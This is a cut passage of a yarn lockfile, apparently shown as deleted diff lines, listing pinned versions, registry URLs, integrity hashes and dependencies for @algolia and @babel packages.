"https://registry.yarnpkg.com/@algolia/cache-in-memory/-/cache-in-memory-4.14.0.tgz#0229202b3f8a76777f81f5992e543316aef694bf" - integrity sha512-kIH9JjebSsZVxnTjaWarunFkWaHnMZ5vG98KwvQj++I4PCMgk7z/GBm9bMNgPUsDPqHxQ0p9HO/j8YgN6VYxgQ== - dependencies: - "@algolia/cache-common" "4.14.0" - -"@algolia/cache-in-memory@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/cache-in-memory/-/cache-in-memory-4.14.2.tgz#88e4a21474f9ac05331c2fa3ceb929684a395a24" - integrity sha512-HrOukWoop9XB/VFojPv1R5SVXowgI56T9pmezd/djh2JnVN/vXswhXV51RKy4nCpqxyHt/aGFSq2qkDvj6KiuQ== - dependencies: - "@algolia/cache-common" "4.14.2" - -"@algolia/client-account@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/client-account/-/client-account-4.14.0.tgz#2275054d170db316e8277ee041a63ad9dcb6f170" - integrity sha512-b0rAB3D2rf5qOeBZbUNcixl9EmiVPz6QgEvP2TC3Ed85+8xdVhtbyLD5EzTHQr2BPXvklo5NK1K5Q3UOZ9ojJQ== - dependencies: - "@algolia/client-common" "4.14.0" - "@algolia/client-search" "4.14.0" - "@algolia/transporter" "4.14.0" - -"@algolia/client-account@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/client-account/-/client-account-4.14.2.tgz#b76ac1ba9ea71e8c3f77a1805b48350dc0728a16" - integrity sha512-WHtriQqGyibbb/Rx71YY43T0cXqyelEU0lB2QMBRXvD2X0iyeGl4qMxocgEIcbHyK7uqE7hKgjT8aBrHqhgc1w== - dependencies: - "@algolia/client-common" "4.14.2" - "@algolia/client-search" "4.14.2" - "@algolia/transporter" "4.14.2" - -"@algolia/client-analytics@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/client-analytics/-/client-analytics-4.14.0.tgz#a282596c79a9859f8b9cde893df89fe8440e2921" - integrity sha512-HcuAbUP2D2SZiV8pvBd6ZoJNJ1Zu5bvUctCknGS7QVQv4xfeDHFcQulwEPftKBhIoJmVZPsQznpeLf+PTGTA+w== - dependencies: - "@algolia/client-common" "4.14.0" - "@algolia/client-search" "4.14.0" - "@algolia/requester-common" "4.14.0" - "@algolia/transporter" "4.14.0" - -"@algolia/client-analytics@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/client-analytics/-/client-analytics-4.14.2.tgz#ca04dcaf9a78ee5c92c5cb5e9c74cf031eb2f1fb" - integrity sha512-yBvBv2mw+HX5a+aeR0dkvUbFZsiC4FKSnfqk9rrfX+QrlNOKEhCG0tJzjiOggRW4EcNqRmaTULIYvIzQVL2KYQ== - dependencies: - "@algolia/client-common" "4.14.2" - "@algolia/client-search" "4.14.2" - "@algolia/requester-common" "4.14.2" - "@algolia/transporter" "4.14.2" - -"@algolia/client-common@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/client-common/-/client-common-4.14.0.tgz#72c559b74b59f7fe62b7dc6b2910805f1ef5943b" - integrity sha512-7pmtPOicY6QEBQEYinChkVVi0SnDGcgJn1P0GkWxIMD23ZQk7o0/eMAQYqkGR3TET6YB/bZDeDrpL5v4DKN3tg== - dependencies: - "@algolia/requester-common" "4.14.0" - "@algolia/transporter" "4.14.0" - -"@algolia/client-common@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/client-common/-/client-common-4.14.2.tgz#e1324e167ffa8af60f3e8bcd122110fd0bfd1300" - integrity sha512-43o4fslNLcktgtDMVaT5XwlzsDPzlqvqesRi4MjQz2x4/Sxm7zYg5LRYFol1BIhG6EwxKvSUq8HcC/KxJu3J0Q== - dependencies: - "@algolia/requester-common" "4.14.2" - "@algolia/transporter" "4.14.2" - -"@algolia/client-personalization@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/client-personalization/-/client-personalization-4.14.0.tgz#fcf7b284aea6f720fa64dced4dd2649b6301fcce" - integrity sha512-O/vADaSZYAzL0o8L+2QeTZr1O3VXu8DjBUXnEWWgn96v6zqTH0aoQsQ7gvYEsGNvTGiZZwNJNruzMaBNG0GNUA== - dependencies: - "@algolia/client-common" "4.14.0" - "@algolia/requester-common" "4.14.0" - "@algolia/transporter" "4.14.0" - -"@algolia/client-personalization@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/client-personalization/-/client-personalization-4.14.2.tgz#656bbb6157a3dd1a4be7de65e457fda136c404ec" - integrity sha512-ACCoLi0cL8CBZ1W/2juehSltrw2iqsQBnfiu/Rbl9W2yE6o2ZUb97+sqN/jBqYNQBS+o0ekTMKNkQjHHAcEXNw== - dependencies: - "@algolia/client-common" "4.14.2" - "@algolia/requester-common" "4.14.2" - "@algolia/transporter" "4.14.2" - -"@algolia/client-search@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/client-search/-/client-search-4.14.0.tgz#7e5fef78f93419b6608fc1fc086cbcdb90bb40ee" - integrity sha512-gFxteVMUzEMq6lDEex/gZKNudrFmOFLuWS9SQCU+sXeTCRw32aY5/RBDigOkD6Yp6nLkfnYWvPnDshwY6WgTbw== - dependencies: - "@algolia/client-common" "4.14.0" - "@algolia/requester-common" "4.14.0" - "@algolia/transporter" "4.14.0" - -"@algolia/client-search@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/client-search/-/client-search-4.14.2.tgz#357bdb7e640163f0e33bad231dfcc21f67dc2e92" - integrity sha512-L5zScdOmcZ6NGiVbLKTvP02UbxZ0njd5Vq9nJAmPFtjffUSOGEp11BmD2oMJ5QvARgx2XbX4KzTTNS5ECYIMWw== - dependencies: - "@algolia/client-common" "4.14.2" - "@algolia/requester-common" "4.14.2" - "@algolia/transporter" "4.14.2" - -"@algolia/events@^4.0.1": - version "4.0.1" - resolved "https://registry.yarnpkg.com/@algolia/events/-/events-4.0.1.tgz#fd39e7477e7bc703d7f893b556f676c032af3950" - integrity sha512-FQzvOCgoFXAbf5Y6mYozw2aj5KCJoA3m4heImceldzPSMbdyS4atVjJzXKMsfX3wnZTFYwkkt8/z8UesLHlSBQ== - -"@algolia/logger-common@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/logger-common/-/logger-common-4.14.0.tgz#cd7ea905b5f0e5905b939ff464628bdc01dc2c22" - integrity sha512-1Fw+5Nd4d7NWNA9FhOIIXzESJn+j5VTO/f3YK+XhoOlbAwfMbD32InWEjNglrcHnSO8kpqrizFXveKTx1CzoKw== - -"@algolia/logger-common@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/logger-common/-/logger-common-4.14.2.tgz#b74b3a92431f92665519d95942c246793ec390ee" - integrity sha512-/JGlYvdV++IcMHBnVFsqEisTiOeEr6cUJtpjz8zc0A9c31JrtLm318Njc72p14Pnkw3A/5lHHh+QxpJ6WFTmsA== - -"@algolia/logger-console@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/logger-console/-/logger-console-4.14.0.tgz#78bfc0565cd6a1355ca2660b79c8d00b5643221c" - integrity sha512-nBJwg1TVdzAZCIA5tIFYKA+QqYGD9iRhO8yEdm68VcOeckyNTQuvJtAkWyvzr2qNL6GD+bN8nUQ8Cf5HFy/wZg== - dependencies: - "@algolia/logger-common" "4.14.0" - -"@algolia/logger-console@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/logger-console/-/logger-console-4.14.2.tgz#ec49cb47408f5811d4792598683923a800abce7b" - integrity sha512-8S2PlpdshbkwlLCSAB5f8c91xyc84VM9Ar9EdfE9UmX+NrKNYnWR1maXXVDQQoto07G1Ol/tYFnFVhUZq0xV/g== - dependencies: - "@algolia/logger-common" "4.14.2" - -"@algolia/requester-browser-xhr@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.14.0.tgz#b4c68f841c001ecf1c0d1e8d40d8b348cc6d8117" - integrity sha512-J4ND/l0/wOyztyOA3F4kFNIj/QDTeiS45m3hqSCVXpIJn/iq1ZP8zYW5q0/2sEMehO8TawVJiHnXYV0kO0Dk0Q== - dependencies: - "@algolia/requester-common" "4.14.0" - -"@algolia/requester-browser-xhr@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.14.2.tgz#a2cd4d9d8d90d53109cc7f3682dc6ebf20f798f2" - integrity sha512-CEh//xYz/WfxHFh7pcMjQNWgpl4wFB85lUMRyVwaDPibNzQRVcV33YS+63fShFWc2+42YEipFGH2iPzlpszmDw== - dependencies: - "@algolia/requester-common" "4.14.2" - -"@algolia/requester-common@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/requester-common/-/requester-common-4.14.0.tgz#0cfeb902b1ff675577175bb3b11bfa4c19ae36ab" - integrity sha512-8DGIW5keIbAFet2TKGr/C9DVJ1r8IWFjgf4URPHn6NHMf6R+ruQp0gOf7xBP1Bw6JIS3/DbvlGqbw8sNO/N+Hw== - -"@algolia/requester-common@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/requester-common/-/requester-common-4.14.2.tgz#bc4e9e5ee16c953c0ecacbfb334a33c30c28b1a1" - integrity sha512-73YQsBOKa5fvVV3My7iZHu1sUqmjjfs9TteFWwPwDmnad7T0VTCopttcsM3OjLxZFtBnX61Xxl2T2gmG2O4ehg== - -"@algolia/requester-node-http@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/requester-node-http/-/requester-node-http-4.14.0.tgz#6f576dc1e5dab4e0265f8926b7ef9e1518add7dd" - integrity sha512-DP0k1H9c6+lR4G/jKG4kez3QW1ksUDSSSSy3I8nhPZErIGgd0IqCTXDt1GwykDEkvYj/l4sA3x8pJtDMW3JSzw== - dependencies: - "@algolia/requester-common" "4.14.0" - -"@algolia/requester-node-http@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/requester-node-http/-/requester-node-http-4.14.2.tgz#7c1223a1785decaab1def64c83dade6bea45e115" - integrity sha512-oDbb02kd1o5GTEld4pETlPZLY0e+gOSWjWMJHWTgDXbv9rm/o2cF7japO6Vj1ENnrqWvLBmW1OzV9g6FUFhFXg== - dependencies: - "@algolia/requester-common" "4.14.2" - -"@algolia/transporter@4.14.0": - version "4.14.0" - resolved "https://registry.yarnpkg.com/@algolia/transporter/-/transporter-4.14.0.tgz#b50463a96ca6fec09eceacefe29a8798a9f6c72e" - integrity sha512-AP+8Qxeg0XvQ3rFbj4pIUzDMmtjo5pgBMx/57ADbge5Y4Y9ByDdQNjEKk6QFIe70SAwR/cGzglwYg7nl8mK/OA== - dependencies: - "@algolia/cache-common" "4.14.0" - "@algolia/logger-common" "4.14.0" - "@algolia/requester-common" "4.14.0" - -"@algolia/transporter@4.14.2": - version "4.14.2" - resolved "https://registry.yarnpkg.com/@algolia/transporter/-/transporter-4.14.2.tgz#77c069047fb1a4359ee6a51f51829508e44a1e3d" - integrity sha512-t89dfQb2T9MFQHidjHcfhh6iGMNwvuKUvojAj+JsrHAGbuSy7yE4BylhLX6R0Q1xYRoC4Vvv+O5qIw/LdnQfsQ== - dependencies: - "@algolia/cache-common" "4.14.2" - "@algolia/logger-common" "4.14.2" - "@algolia/requester-common" "4.14.2" - -"@ampproject/remapping@^2.1.0": - version "2.2.0" - resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.2.0.tgz#56c133824780de3174aed5ab6834f3026790154d" - integrity sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w== - dependencies: - "@jridgewell/gen-mapping" "^0.1.0" - "@jridgewell/trace-mapping" "^0.3.9" - -"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.16.0", "@babel/code-frame@^7.18.6", "@babel/code-frame@^7.8.3": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.18.6.tgz#3b25d38c89600baa2dcc219edfa88a74eb2c427a" - integrity sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q== - dependencies: - "@babel/highlight" "^7.18.6" - -"@babel/code-frame@^7.22.13": - version "7.22.13" - resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.22.13.tgz#e3c1c099402598483b7a8c46a721d1038803755e" - integrity sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w== - dependencies: - "@babel/highlight" "^7.22.13" - chalk "^2.4.2" - -"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.18.8": - version "7.18.8" - resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.18.8.tgz#2483f565faca607b8535590e84e7de323f27764d" - integrity sha512-HSmX4WZPPK3FUxYp7g2T6EyO8j96HlZJlxmKPSh6KAcqwyDrfx7hKjXpAW/0FhFfTJsR0Yt4lAjLI2coMptIHQ== - -"@babel/compat-data@^7.17.7", "@babel/compat-data@^7.20.0", "@babel/compat-data@^7.20.1": - version "7.20.1" - resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.20.1.tgz#f2e6ef7790d8c8dbf03d379502dcc246dcce0b30" - integrity sha512-EWZ4mE2diW3QALKvDMiXnbZpRvlj+nayZ112nK93SnhqOtpdsbVD4W+2tEoT3YNBAG9RBR0ISY758ZkOgsn6pQ== - -"@babel/core@7.12.9": - version "7.12.9" - resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.12.9.tgz#fd450c4ec10cdbb980e2928b7aa7a28484593fc8" - integrity sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ== - dependencies: - "@babel/code-frame" "^7.10.4" - "@babel/generator" "^7.12.5" - "@babel/helper-module-transforms" "^7.12.1" - "@babel/helpers" "^7.12.5" - "@babel/parser" "^7.12.7" - "@babel/template" "^7.12.7" - "@babel/traverse" "^7.12.9" - "@babel/types" "^7.12.7" - convert-source-map "^1.7.0" - debug "^4.1.0" - gensync "^1.0.0-beta.1" - json5 "^2.1.2" - lodash "^4.17.19" - resolve "^1.3.2" - semver "^5.4.1" - source-map "^0.5.0" - -"@babel/core@^7.15.5": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.18.9.tgz#805461f967c77ff46c74ca0460ccf4fe933ddd59" - integrity sha512-1LIb1eL8APMy91/IMW+31ckrfBM4yCoLaVzoDhZUKSM4cu1L1nIidyxkCgzPAgrC5WEz36IPEr/eSeSF9pIn+g== - dependencies: - "@ampproject/remapping" "^2.1.0" - "@babel/code-frame" "^7.18.6" - "@babel/generator" "^7.18.9" - "@babel/helper-compilation-targets" "^7.18.9" - "@babel/helper-module-transforms" "^7.18.9" - "@babel/helpers" "^7.18.9" - "@babel/parser" "^7.18.9" - "@babel/template" "^7.18.6" - "@babel/traverse" "^7.18.9" - "@babel/types" "^7.18.9" - convert-source-map "^1.7.0" - debug "^4.1.0" - gensync "^1.0.0-beta.2" - json5 "^2.2.1" - semver "^6.3.0" - -"@babel/core@^7.18.6": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.20.2.tgz#8dc9b1620a673f92d3624bd926dc49a52cf25b92" - integrity sha512-w7DbG8DtMrJcFOi4VrLm+8QM4az8Mo+PuLBKLp2zrYRCow8W/f9xiXm5sN53C8HksCyDQwCKha9JiDoIyPjT2g== - dependencies: - "@ampproject/remapping" "^2.1.0" - "@babel/code-frame" "^7.18.6" - "@babel/generator" "^7.20.2" - "@babel/helper-compilation-targets" "^7.20.0" - "@babel/helper-module-transforms" "^7.20.2" - "@babel/helpers" "^7.20.1" - "@babel/parser" "^7.20.2" - "@babel/template" "^7.18.10" - "@babel/traverse" "^7.20.1" - "@babel/types" "^7.20.2" - convert-source-map "^1.7.0" - debug "^4.1.0" - gensync "^1.0.0-beta.2" - json5 "^2.2.1" - semver "^6.3.0" - -"@babel/generator@^7.12.5", "@babel/generator@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.18.9.tgz#68337e9ea8044d6ddc690fb29acae39359cca0a5" - integrity sha512-wt5Naw6lJrL1/SGkipMiFxJjtyczUWTP38deiP1PO60HsBjDeKk08CGC3S8iVuvf0FmTdgKwU1KIXzSKL1G0Ug== - dependencies: - "@babel/types" "^7.18.9" - "@jridgewell/gen-mapping" "^0.3.2" - jsesc "^2.5.1" - -"@babel/generator@^7.18.7", "@babel/generator@^7.20.2": - version "7.20.4" - resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.20.4.tgz#4d9f8f0c30be75fd90a0562099a26e5839602ab8" - integrity sha512-luCf7yk/cm7yab6CAW1aiFnmEfBJplb/JojV56MYEK7ziWfGmFlTfmL9Ehwfy4gFhbjBfWO1wj7/TuSbVNEEtA== - dependencies: - "@babel/types" "^7.20.2" - "@jridgewell/gen-mapping" "^0.3.2" - jsesc "^2.5.1" - -"@babel/generator@^7.23.0": - version "7.23.0" - resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.0.tgz#df5c386e2218be505b34837acbcb874d7a983420" - integrity sha512-lN85QRR+5IbYrMWM6Y4pE/noaQtg4pNiqeNGX60eqOfo6gtEj6uw/JagelB8vVztSd7R6M5n1+PQkDbHbBRU4g== - dependencies: - "@babel/types" "^7.23.0" - "@jridgewell/gen-mapping" "^0.3.2" - "@jridgewell/trace-mapping" "^0.3.17" - jsesc "^2.5.1" - -"@babel/helper-annotate-as-pure@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz#eaa49f6f80d5a33f9a5dd2276e6d6e451be0a6bb" - integrity sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-builder-binary-assignment-operator-visitor@^7.18.6": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz#acd4edfd7a566d1d51ea975dff38fd52906981bb" - integrity sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw== - dependencies: - "@babel/helper-explode-assignable-expression" "^7.18.6" - "@babel/types" "^7.18.9" - -"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.18.9.tgz#69e64f57b524cde3e5ff6cc5a9f4a387ee5563bf" - integrity sha512-tzLCyVmqUiFlcFoAPLA/gL9TeYrF61VLNtb+hvkuVaB5SUjW7jcfrglBIX1vUIoT7CLP3bBlIMeyEsIl2eFQNg== - dependencies: - "@babel/compat-data" "^7.18.8" - "@babel/helper-validator-option" "^7.18.6" - browserslist "^4.20.2" - semver "^6.3.0" - -"@babel/helper-compilation-targets@^7.17.7", "@babel/helper-compilation-targets@^7.20.0": - version "7.20.0" - resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.20.0.tgz#6bf5374d424e1b3922822f1d9bdaa43b1a139d0a" - integrity sha512-0jp//vDGp9e8hZzBc6N/KwA5ZK3Wsm/pfm4CrY7vzegkVxc65SgSn6wYOnwHe9Js9HRQ1YTCKLGPzDtaS3RoLQ== - dependencies: - "@babel/compat-data" "^7.20.0" - "@babel/helper-validator-option" "^7.18.6" - browserslist "^4.21.3" - semver "^6.3.0" - -"@babel/helper-create-class-features-plugin@^7.18.6": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.18.9.tgz#d802ee16a64a9e824fcbf0a2ffc92f19d58550ce" - integrity sha512-WvypNAYaVh23QcjpMR24CwZY2Nz6hqdOcFdPbNpV56hL5H6KiFheO7Xm1aPdlLQ7d5emYZX7VZwPp9x3z+2opw== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-function-name" "^7.18.9" - "@babel/helper-member-expression-to-functions" "^7.18.9" - "@babel/helper-optimise-call-expression" "^7.18.6" - "@babel/helper-replace-supers" "^7.18.9" - "@babel/helper-split-export-declaration" "^7.18.6" - -"@babel/helper-create-regexp-features-plugin@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.18.6.tgz#3e35f4e04acbbf25f1b3534a657610a000543d3c" - integrity sha512-7LcpH1wnQLGrI+4v+nPp+zUvIkF9x0ddv1Hkdue10tg3gmRnLy97DXh4STiOf1qeIInyD69Qv5kKSZzKD8B/7A== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - regexpu-core "^5.1.0" - -"@babel/helper-create-regexp-features-plugin@^7.19.0": - version "7.19.0" - resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.19.0.tgz#7976aca61c0984202baca73d84e2337a5424a41b" - integrity sha512-htnV+mHX32DF81amCDrwIDr8nrp1PTm+3wfBN9/v8QJOLEioOCOG7qNyq0nHeFiWbT3Eb7gsPwEmV64UCQ1jzw== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - regexpu-core "^5.1.0" - -"@babel/helper-define-polyfill-provider@^0.3.1": - version "0.3.1" - resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.1.tgz#52411b445bdb2e676869e5a74960d2d3826d2665" - integrity sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA== - dependencies: - "@babel/helper-compilation-targets" "^7.13.0" - "@babel/helper-module-imports" "^7.12.13" - "@babel/helper-plugin-utils" "^7.13.0" - "@babel/traverse" "^7.13.0" - debug "^4.1.1" - lodash.debounce "^4.0.8" - resolve "^1.14.2" - semver "^6.1.2" - -"@babel/helper-define-polyfill-provider@^0.3.3": - version "0.3.3" - resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz#8612e55be5d51f0cd1f36b4a5a83924e89884b7a" - integrity sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww== - dependencies: - "@babel/helper-compilation-targets" "^7.17.7" - "@babel/helper-plugin-utils" "^7.16.7" - debug "^4.1.1" - lodash.debounce "^4.0.8" - resolve "^1.14.2" - semver "^6.1.2" - -"@babel/helper-environment-visitor@^7.18.6", "@babel/helper-environment-visitor@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz#0c0cee9b35d2ca190478756865bb3528422f51be" - integrity sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg== - -"@babel/helper-environment-visitor@^7.22.20": - version "7.22.20" - resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz#96159db61d34a29dba454c959f5ae4a649ba9167" - integrity sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA== - -"@babel/helper-explode-assignable-expression@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz#41f8228ef0a6f1a036b8dfdfec7ce94f9a6bc096" - integrity sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-function-name@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.18.9.tgz#940e6084a55dee867d33b4e487da2676365e86b0" - integrity sha512-fJgWlZt7nxGksJS9a0XdSaI4XvpExnNIgRP+rVefWh5U7BL8pPuir6SJUmFKRfjWQ51OtWSzwOxhaH/EBWWc0A== - dependencies: - "@babel/template" "^7.18.6" - "@babel/types" "^7.18.9" - -"@babel/helper-function-name@^7.19.0": - version "7.19.0" - resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz#941574ed5390682e872e52d3f38ce9d1bef4648c" - integrity sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w== - dependencies: - "@babel/template" "^7.18.10" - "@babel/types" "^7.19.0" - -"@babel/helper-function-name@^7.23.0": - version "7.23.0" - resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz#1f9a3cdbd5b2698a670c30d2735f9af95ed52759" - integrity sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw== - dependencies: - "@babel/template" "^7.22.15" - "@babel/types" "^7.23.0" - -"@babel/helper-hoist-variables@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz#d4d2c8fb4baeaa5c68b99cc8245c56554f926678" - integrity sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-hoist-variables@^7.22.5": - version "7.22.5" - resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz#c01a007dac05c085914e8fb652b339db50d823bb" - integrity sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw== - dependencies: - "@babel/types" "^7.22.5" - -"@babel/helper-member-expression-to-functions@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz#1531661e8375af843ad37ac692c132841e2fd815" - integrity sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg== - dependencies: - "@babel/types" "^7.18.9" - -"@babel/helper-module-imports@^7.12.13", "@babel/helper-module-imports@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz#1e3ebdbbd08aad1437b428c50204db13c5a3ca6e" - integrity sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA== - dependencies: - "@babel/types" "^7.18.6" - -"@babel/helper-module-transforms@^7.12.1", "@babel/helper-module-transforms@^7.18.6", "@babel/helper-module-transforms@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.18.9.tgz#5a1079c005135ed627442df31a42887e80fcb712" - integrity sha512-KYNqY0ICwfv19b31XzvmI/mfcylOzbLtowkw+mfvGPAQ3kfCnMLYbED3YecL5tPd8nAYFQFAd6JHp2LxZk/J1g== - dependencies: - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-module-imports" "^7.18.6" - "@babel/helper-simple-access" "^7.18.6" - "@babel/helper-split-export-declaration" "^7.18.6" - "@babel/helper-validator-identifier" "^7.18.6" - "@babel/template" "^7.18.6" - "@babel/traverse" "^7.18.9" - "@babel/types" "^7.18.9" - -"@babel/helper-module-transforms@^7.19.6", "@babel/helper-module-transforms@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.20.2.tgz#ac53da669501edd37e658602a21ba14c08748712" - integrity sha512-zvBKyJXRbmK07XhMuujYoJ48B5yvvmM6+wcpv6Ivj4Yg6qO7NOZOSnvZN9CRl1zz1Z4cKf8YejmCMh8clOoOeA== - dependencies: - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-module-imports" "^7.18.6" - "@babel/helper-simple-access" "^7.20.2" - "@babel/helper-split-export-declaration" "^7.18.6" - "@babel/helper-validator-identifier" "^7.19.1" - "@babel/template" "^7.18.10" - "@babel/traverse" "^7.20.1" - "@babel/types" "^7.20.2" - -"@babel/helper-optimise-call-expression@^7.18.6": - version "7.18.6" - resolved 